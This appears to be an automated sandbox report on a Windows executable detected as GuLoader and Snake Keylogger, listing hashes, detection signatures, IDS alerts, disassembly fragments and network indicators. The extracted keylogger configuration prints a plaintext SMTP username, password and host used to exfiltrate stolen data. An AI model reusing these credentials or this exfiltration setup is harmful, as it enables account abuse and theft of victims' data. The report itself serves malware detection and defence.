Edit tour

Windows Analysis Report
PayeeAdvice_HK54912_R0038704_37504.exe

Overview

General Information

Sample name:	PayeeAdvice_HK54912_R0038704_37504.exe
Analysis ID:	1556938
MD5:	a7071c7cf3999b13607413c36e8d5418
SHA1:	a4d955d14cfb368d93bc7083214b01dec4c90f2b
SHA256:	4cdbe754de2114be5f9ccf7e3f3d4f9f7f8fadc279e860bb1773aee0e2de4047
Tags:	exeuser-abuse_ch
Infos:

Detection

GuLoader, Snake Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected GuLoader

Yara detected Snake Keylogger

Yara detected Telegram RAT

AI detected suspicious sample

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Outbound SMTP Connections

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

PayeeAdvice_HK54912_R0038704_37504.exe (PID: 5620 cmdline: "C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe" MD5: A7071C7CF3999B13607413C36E8D5418)

PayeeAdvice_HK54912_R0038704_37504.exe (PID: 6256 cmdline: "C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe" MD5: A7071C7CF3999B13607413C36E8D5418)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Snake Keylogger

{"Exfil Mode": "SMTP", "Username": "wajahat@foodex.com.pk", "Password": "wajahat1975", "Host": "mail.foodex.com.pk", "Port": "587", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000004.00000002.3349133220.0000000037491000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.2666489951.000000000839D000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: PayeeAdvice_HK54912_R0038704_37504.exe PID: 5620	JoeSecurity_GuLoader_3	Yara detected GuLoader	Joe Security
Process Memory Space: PayeeAdvice_HK54912_R0038704_37504.exe PID: 6256	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: PayeeAdvice_HK54912_R0038704_37504.exe PID: 6256	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security

Sigma Signatures

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 37.27.123.72, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe, Initiated: true, ProcessId: 6256, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 51084

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T16:51:18.035886+0100	2803305	3	Unknown Traffic	192.168.2.5	51068	188.114.97.3	443	TCP
2024-11-16T16:51:20.955066+0100	2803305	3	Unknown Traffic	192.168.2.5	51072	188.114.97.3	443	TCP
2024-11-16T16:51:22.783425+0100	2803305	3	Unknown Traffic	192.168.2.5	51074	188.114.97.3	443	TCP
2024-11-16T16:51:24.205191+0100	2803305	3	Unknown Traffic	192.168.2.5	51076	188.114.97.3	443	TCP
2024-11-16T16:51:25.870768+0100	2803305	3	Unknown Traffic	192.168.2.5	51078	188.114.97.3	443	TCP
2024-11-16T16:51:28.771956+0100	2803305	3	Unknown Traffic	192.168.2.5	51082	188.114.97.3	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-16T16:51:16.029541+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	51066	158.101.44.242	80	TCP
2024-11-16T16:51:17.326339+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	51066	158.101.44.242	80	TCP
2024-11-16T16:51:18.732541+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	51069	158.101.44.242	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: PayeeAdvice_HK54912_R0038704_37504.exe

Avira: detected

Found malware configuration

Source: 00000004.00000002.3349133220.0000000037491000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "wajahat@foodex.com.pk", "Password": "wajahat1975", "Host": "mail.foodex.com.pk", "Port": "587", "Version": "4.4"}

Multi AV Scanner detection for submitted file

Source: PayeeAdvice_HK54912_R0038704_37504.exe

ReversingLabs: Detection: 31%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A7787A8 CryptUnprotectData,		4_2_3A7787A8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_3A778EF1 CryptUnprotectData,		4_2_3A778EF1

Source: PayeeAdvice_HK54912_R0038704_37504.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:51067 version: TLS 1.0

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:51083 version: TLS 1.2

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 0_2_00405772 CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405772
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 0_2_0040622D FindFirstFileW,FindClose,	0_2_0040622D
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 0_2_00402770 FindFirstFileW,	0_2_00402770
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_00402770 FindFirstFileW,	4_2_00402770
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_00405772 CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	4_2_00405772
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4_2_0040622D FindFirstFileW,FindClose,	4_2_0040622D

Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 0016F45Dh	4_2_0016F2C0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 0016F45Dh	4_2_0016F4AC
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 0016FC19h	4_2_0016F974
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 39EF31E0h	4_2_39EF2DC8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 39EF2C19h	4_2_39EF2968
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 39EFE501h	4_2_39EFE258
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 39EFE0A9h	4_2_39EFDE00
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 39EFDC51h	4_2_39EFD9A8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 39EFD7F9h	4_2_39EFD550
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 39EF31E0h	4_2_39EF310E
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 39EFD3A1h	4_2_39EFD0F8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 39EFCF49h	4_2_39EFCCA0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	4_2_39EF0040
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	4_2_39EF0853
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 39EFFAB9h	4_2_39EFF810
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 39EFF661h	4_2_39EFF3B8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 39EFF209h	4_2_39EFEF60
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 39EF0D0Dh	4_2_39EF0B30
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 39EF1697h	4_2_39EF0B30
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 39EFEDB1h	4_2_39EFEB08
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 39EFE959h	4_2_39EFE6B0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	4_2_39EF0673
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A777EB5h	4_2_3A777B78
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7779C9h	4_2_3A777720
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A779280h	4_2_3A778FB0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A77BA76h	4_2_3A77B7A8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A777119h	4_2_3A776E70
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A774D21h	4_2_3A774A78
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A77D146h	4_2_3A77CE78
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A773709h	4_2_3A773460
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A77F136h	4_2_3A77EE68
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A771CF9h	4_2_3A771A50
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7702E9h	4_2_3A770040
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7762D9h	4_2_3A776030
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A77BF06h	4_2_3A77BC38
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7748C9h	4_2_3A774620
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A77DEF6h	4_2_3A77DC28
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A776CC1h	4_2_3A776A18
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7732B1h	4_2_3A773008
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A770B99h	4_2_3A7708F0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A77F5C6h	4_2_3A77F2F8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A775179h	4_2_3A774ED0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A777571h	4_2_3A7772C8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A77C396h	4_2_3A77C0C8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A77E386h	4_2_3A77E0B8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A772151h	4_2_3A771EA8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A770741h	4_2_3A770498
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then mov esp, ebp	4_2_3A77B081
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A776733h	4_2_3A776488
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A772A01h	4_2_3A772758
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A77C826h	4_2_3A77C558
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A770FF1h	4_2_3A770D48
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A77E816h	4_2_3A77E548
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7755D1h	4_2_3A775328
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A77B5E6h	4_2_3A77B318
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7725A9h	4_2_3A772300
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A77D5D6h	4_2_3A77D308
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7718A1h	4_2_3A7715F8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A77CCB6h	4_2_3A77C9E8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A77ECA6h	4_2_3A77E9D8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A775E81h	4_2_3A775BD8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A772E59h	4_2_3A772BB0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A771449h	4_2_3A7711A0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A77DA66h	4_2_3A77D798
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A775A29h	4_2_3A775780
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A77FA56h	4_2_3A77F788
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7E6970h	4_2_3A7E6678
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7E6347h	4_2_3A7E5FD8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7E4746h	4_2_3A7E4478
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7ED768h	4_2_3A7ED470
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7EAC60h	4_2_3A7EA968
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7E0C2Eh	4_2_3A7E0960
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7E8158h	4_2_3A7E7E60
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7E3E26h	4_2_3A7E3B58
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7EEF50h	4_2_3A7EEC58
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7EC448h	4_2_3A7EC150
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7E5E16h	4_2_3A7E5B48
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7E9940h	4_2_3A7E9648
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7E030Eh	4_2_3A7E0040
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7E6E38h	4_2_3A7E6B40
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7E3506h	4_2_3A7E3238
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7EDC30h	4_2_3A7ED938
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7EB128h	4_2_3A7EAE30
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7E54F6h	4_2_3A7E5228
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7E8620h	4_2_3A7E8328
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7EF418h	4_2_3A7EF120
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7E2BE6h	4_2_3A7E2918
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7EC910h	4_2_3A7EC618
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7E19DEh	4_2_3A7E1710
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7E9E08h	4_2_3A7E9B10
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7E4BD7h	4_2_3A7E4908
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7E7300h	4_2_3A7E7008
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7EE0F8h	4_2_3A7EDE00
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7E22C6h	4_2_3A7E1FF8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7EB5F0h	4_2_3A7EB2F8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7E10BEh	4_2_3A7E0DF0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7E8AE8h	4_2_3A7E87F0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7E42B6h	4_2_3A7E3FE8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7EF8E0h	4_2_3A7EF5E8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7ECDD8h	4_2_3A7ECAE0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7EA2D0h	4_2_3A7E9FD8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7E079Eh	4_2_3A7E04D0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7E77C8h	4_2_3A7E74D0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7E3996h	4_2_3A7E36C8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7EE5C0h	4_2_3A7EE2C8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7EBAB8h	4_2_3A7EB7C0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7E5986h	4_2_3A7E56B8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7E8FB0h	4_2_3A7E8CB8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7EFDA8h	4_2_3A7EFAB0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7E3076h	4_2_3A7E2DA8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7ED2A0h	4_2_3A7ECFA8
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7E1E47h	4_2_3A7E1BA0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7EA798h	4_2_3A7EA4A0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7E5066h	4_2_3A7E4D98
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7E7C90h	4_2_3A7E7998
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7EEA88h	4_2_3A7EE790
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7E2756h	4_2_3A7E2488
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7EBF80h	4_2_3A7EBC88
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7E154Eh	4_2_3A7E1280
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A7E9478h	4_2_3A7E9180
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A811FE8h	4_2_3A811CF0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A811190h	4_2_3A810E98
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A811B20h	4_2_3A811828
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A810338h	4_2_3A810040
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A810CC8h	4_2_3A8109D0
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A810801h	4_2_3A810508
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then jmp 3A811658h	4_2_3A811360
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_3A993E70
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_3A993E60
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_3A990A10
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_3A9908DE
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_3A990960
Source: C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_3A990D26

Networking

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Source: global traffic

TCP traffic: 192.168.2.5:51084 -> 37.27.123.72:587

Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.69 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.69 HTTP/1.1Host: reallyfreegeoip.org
